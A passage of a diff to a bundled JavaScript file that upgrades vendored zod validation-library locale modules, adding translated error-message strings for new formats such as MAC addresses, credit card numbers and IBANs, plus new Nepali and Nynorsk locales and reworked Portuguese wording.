cidrv4: "IPv4 \u043E\u043F\u0441\u0435\u0433", cidrv6: "IPv6 \u043E\u043F\u0441\u0435\u0433", base64: "base64-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", base64url: "base64url-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", json_string: "JSON \u043D\u0438\u0437\u0430", e164: "E.164 \u0431\u0440\u043E\u0458", + credit_card: "\u0431\u0440\u043E\u0458 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0438\u0447\u043A\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u043D\u0435\u0441" }; @@ -54757,17 +56478,18 @@ var error29 = () => { }; function mk_default() { return { - localeError: error29() + localeError: error34() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ms.js -var error30 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ms.js +var error35 = () => { const Sizable = { string: { unit: "aksara", verb: "mempunyai" }, file: { unit: "bait", verb: "mempunyai" }, array: { unit: "elemen", verb: "mempunyai" }, - set: { unit: "elemen", verb: "mempunyai" } + set: { unit: "elemen", verb: "mempunyai" }, + map: { unit: "elemen", verb: "mempunyai" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54793,12 +56515,16 @@ var error30 = () => { duration: "tempoh ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "julat IPv4", cidrv6: "julat IPv6", base64: "string dikodkan base64", base64url: "string dikodkan base64url", json_string: "string JSON", e164: "nombor E.164", + credit_card: "nombor kad kredit", + currency_code: "kod mata wang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -54865,17 +56591,130 @@ var error30 = () => { }; function ms_default() { return { - localeError: error30() + localeError: error35() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/nl.js -var error31 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ne.js +var error36 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + file: { unit: "\u092C\u093E\u0907\u091F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0907\u092E\u0947\u0932 \u0920\u0947\u0917\u093E\u0928\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u092E\u093F\u0924\u093F \u0930 \u0938\u092E\u092F", + date: "ISO \u092E\u093F\u0924\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u0920\u0947\u0917\u093E\u0928\u093E", + ipv6: "IPv6 \u0920\u0947\u0917\u093E\u0928\u093E", + mac: "MAC \u0920\u0947\u0917\u093E\u0928\u093E", + cidrv4: "IPv4 \u0926\u093E\u092F\u0930\u093E", + cidrv6: "IPv6 \u0926\u093E\u092F\u0930\u093E", + base64: "base64-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + base64url: "base64url-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + e164: "E.164 \u0928\u092E\u094D\u092C\u0930", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0928\u092E\u094D\u092C\u0930", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u0939\u0930\u0942 \u092E\u0927\u094D\u092F\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u093E ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} \u092E\u093E ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.prefix}" \u092C\u093E\u091F \u0938\u0941\u0930\u0941 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.suffix}" \u092E\u093E \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.includes}" \u0938\u092E\u093E\u0935\u0947\u0936 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: \u0922\u093E\u0901\u091A\u093E ${_issue.pattern} \u0938\u0901\u0917 \u092E\u0947\u0932 \u0916\u093E\u0928\u0941\u092A\u0930\u094D\u091B`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: ${issue2.divisor} \u0915\u094B \u0917\u0941\u0923\u091C \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u091E\u094D\u091C\u0940${issue2.keys.length > 1 ? "\u0939\u0930\u0942" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u091E\u094D\u091C\u0940: ${issue2.origin} \u092E\u093E`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u093E`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function ne_default() { + return { + localeError: error36() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nl.js +var error37 = () => { const Sizable = { string: { unit: "tekens", verb: "heeft" }, file: { unit: "bytes", verb: "heeft" }, array: { unit: "elementen", verb: "heeft" }, - set: { unit: "elementen", verb: "heeft" } + set: { unit: "elementen", verb: "heeft" }, + map: { unit: "elementen", verb: "heeft" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54901,12 +56740,16 @@ var error31 = () => { duration: "ISO duur", ipv4: "IPv4-adres", ipv6: "IPv6-adres", + mac: "MAC-adres", cidrv4: "IPv4-bereik", cidrv6: "IPv6-bereik", base64: "base64-gecodeerde tekst", base64url: "base64 URL-gecodeerde tekst", json_string: "JSON string", e164: "E.164-nummer", + credit_card: "creditcardnummer", + currency_code: "valutacode", + iban: "IBAN", jwt: "JWT", template_literal: "invoer" }; @@ -54976,17 +56819,132 @@ var error31 = () => { }; function nl_default() { return { - localeError: error31() + localeError: error37() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/no.js -var error32 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nn.js +var error38 = () => { + const Sizable = { + string: { unit: "teikn", verb: "\xE5 ha" }, + file: { unit: "bytes", verb: "\xE5 ha" }, + array: { unit: "element", verb: "\xE5 innehalde" }, + set: { unit: "element", verb: "\xE5 innehalde" }, + map: { unit: "element", verb: "\xE5 innehalde" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-postadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkeslett", + date: "ISO-dato", + time: "ISO-klokkeslett", + duration: "ISO-varigheit", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", + cidrv4: "IPv4-spekter", + cidrv6: "IPv6-spekter", + base64: "base64-enkoda streng", + base64url: "base64url-enkoda streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "tal", + array: "liste" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldig input: forventa instanceof ${issue2.expected}, fekk ${received}`; + } + return `Ugyldig input: forventa ${expected}, fekk ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig verdi: forventa ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldig val: forventa eitt av ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: m\xE5 starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: m\xE5 slutte med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: m\xE5 innehalde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: m\xE5 matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldig tal: m\xE5 vere eit multiplum av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukjende n\xF8klar" : "Ukjend n\xF8kkel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8kkel i ${issue2.origin}`; + case "invalid_union": + return "Ugyldig input"; + case "invalid_element": + return `Ugyldig verdi i ${issue2.origin}`; + default: + return `Ugyldig input`; + } + }; +}; +function nn_default() { + return { + localeError: error38() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/no.js +var error39 = () => { const Sizable = { string: { unit: "tegn", verb: "\xE5 ha" }, file: { unit: "bytes", verb: "\xE5 ha" }, array: { unit: "elementer", verb: "\xE5 inneholde" }, - set: { unit: "elementer", verb: "\xE5 inneholde" } + set: { unit: "elementer", verb: "\xE5 inneholde" }, + map: { unit: "elementer", verb: "\xE5 inneholde" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -55010,14 +56968,18 @@ var error32 = () => { date: "ISO-dato", time: "ISO-klokkeslett", duration: "ISO-varighet", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spekter", cidrv6: "IPv6-spekter", base64: "base64-enkodet streng", base64url: "base64url-enkodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -55085,17 +57047,18 @@ var error32 = () => { }; function no_default() { return { - localeError: error32() + localeError: error39() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ota.js -var error33 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ota.js +var error40 = () => { const Sizable = { string: { unit: "harf", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, - set: { unit: "unsur", verb: "olmal\u0131d\u0131r" } + set: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, + map: { unit: "unsur", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -55121,12 +57084,16 @@ var error33 = () => { duration: "ISO m\xFCddeti", ipv4: "IPv4 ni\u015F\xE2n\u0131", ipv6: "IPv6 ni\u015F\xE2n\u0131", + mac: "MAC ni\u015F\xE2n\u0131", cidrv4: "IPv4 menzili", cidrv6: "IPv6 menzili", base64: "base64-\u015Fifreli metin", base64url: "base64url-\u015Fifreli metin", json_string: "JSON metin", e164: "E.164 say\u0131s\u0131", + credit_card: "i'tib\xE2r kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "giren" }; @@ -55195,17 +57162,18 @@ var error33 = () => { }; function ota_default() { return { - localeError: error33() + localeError: error40() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ps.js -var error34 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ps.js +var error41 = () => { const Sizable = { string: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, file: { unit: "\u0628\u0627\u06CC\u067C\u0633", verb: "\u0648\u0644\u0631\u064A" }, array: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, - set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } + set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + map: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -55231,12 +57199,16 @@ var error34 = () => { duration: "\u0645\u0648\u062F\u0647", ipv4: "\u062F IPv4 \u067E\u062A\u0647", ipv6: "\u062F IPv6 \u067E\u062A\u0647", + mac: "\u062F MAC \u067E\u062A\u0647", cidrv4: "\u062F IPv4 \u0633\u0627\u062D\u0647", cidrv6: "\u062F IPv6 \u0633\u0627\u062D\u0647", base64: "base64-encoded \u0645\u062A\u0646", base64url: "base64url-encoded \u0645\u062A\u0646", json_string: "JSON \u0645\u062A\u0646", e164: "\u062F E.164 \u0634\u0645\u06D0\u0631\u0647", + credit_card: "\u062F \u06A9\u0631\u06CC\u0689\u06CC\u067C \u06A9\u0627\u0631\u062A \u0634\u0645\u06CC\u0631\u0647", + currency_code: "\u062F \u0627\u0633\u0639\u0627\u0631\u0648 \u06A9\u0648\u0689", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u064A" }; @@ -55310,17 +57282,18 @@ var error34 = () => { }; function ps_default() { return { - localeError: error34() + localeError: error41() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pl.js -var error35 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pl.js +var error42 = () => { const Sizable = { string: { unit: "znak\xF3w", verb: "mie\u0107" }, file: { unit: "bajt\xF3w", verb: "mie\u0107" }, array: { unit: "element\xF3w", verb: "mie\u0107" }, - set: { unit: "element\xF3w", verb: "mie\u0107" } + set: { unit: "element\xF3w", verb: "mie\u0107" }, + map: { unit: "element\xF3w", verb: "mie\u0107" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -55346,12 +57319,16 @@ var error35 = () => { duration: "czas trwania ISO", ipv4: "adres IPv4", ipv6: "adres IPv6", + mac: "adres MAC", cidrv4: "zakres IPv4", cidrv6: "zakres IPv6", base64: "ci\u0105g znak\xF3w zakodowany w formacie base64", base64url: "ci\u0105g znak\xF3w zakodowany w formacie base64url", json_string: "ci\u0105g znak\xF3w w formacie JSON", e164: "liczba E.164", + credit_card: "numer karty kredytowej", + currency_code: "kod waluty", + iban: "IBAN", jwt: "JWT", template_literal: "wej\u015Bcie" }; @@ -55420,121 +57397,301 @@ var error35 = () => { }; function pl_default() { return { - localeError: error35() + localeError: error42() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pt.js -var error36 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt.js +var error43 = () => { const Sizable = { - string: { unit: "caracteres", verb: "ter" }, - file: { unit: "bytes", verb: "ter" }, - array: { unit: "itens", verb: "ter" }, - set: { unit: "itens", verb: "ter" } + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } }; function getSizing(origin) { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "padr\xE3o", - email: "endere\xE7o de e-mail", - url: "URL", - emoji: "emoji", - uuid: "UUID", - uuidv4: "UUIDv4", - uuidv6: "UUIDv6", - nanoid: "nanoid", - guid: "GUID", - cuid: "cuid", - cuid2: "cuid2", - ulid: "ULID", - xid: "XID", - ksuid: "KSUID", - datetime: "data e hora ISO", - date: "data ISO", - time: "hora ISO", - duration: "dura\xE7\xE3o ISO", - ipv4: "endere\xE7o IPv4", - ipv6: "endere\xE7o IPv6", - cidrv4: "faixa de IPv4", - cidrv6: "faixa de IPv6", - base64: "texto codificado em base64", - base64url: "URL codificada em base64", - json_string: "texto JSON", - e164: "n\xFAmero E.164", - jwt: "JWT", - template_literal: "entrada" + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "o intervalo de endere\xE7os IPv4", + cidrv6: "o intervalo de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } }; const TypeDictionary = { - nan: "NaN", - number: "n\xFAmero", - null: "nulo" + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tuplo", articles: Gender.masculine }, + record: { name: "registo", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "ficheiro", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; - if (/^[A-Z]/.test(issue2.expected)) { - return `Tipo inv\xE1lido: esperado instanceof ${issue2.expected}, recebido ${received}`; - } - return `Tipo inv\xE1lido: esperado ${expected}, recebido ${received}`; + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; } case "invalid_value": if (issue2.values.length === 1) - return `Entrada inv\xE1lida: esperado ${stringifyPrimitive(issue2.values[0])}`; - return `Op\xE7\xE3o inv\xE1lida: esperada uma das ${joinValues(issue2.values, "|")}`; + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; case "too_big": { const adj = issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) - return `Muito grande: esperado que ${issue2.origin ?? "valor"} tivesse ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; - return `Muito grande: esperado que ${issue2.origin ?? "valor"} fosse ${adj}${issue2.maximum.toString()}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; } case "too_small": { const adj = issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { - return `Muito pequeno: esperado que ${issue2.origin} tivesse ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; } - return `Muito pequeno: esperado que ${issue2.origin} fosse ${adj}${issue2.minimum.toString()}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; } case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") + return `Texto inv\xE1lido: deve come\xE7ar por "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Texto inv\xE1lido: deve terminar em "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } + case "invalid_key": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + default: + return `Entrada inv\xE1lida`; + } + }; +}; +function pt_default() { + return { + localeError: error43() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt-BR.js +var error44 = () => { + const Sizable = { + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "a faixa de endere\xE7os IPv4", + cidrv6: "a faixa de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } + }; + const TypeDictionary = { + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tupla", articles: 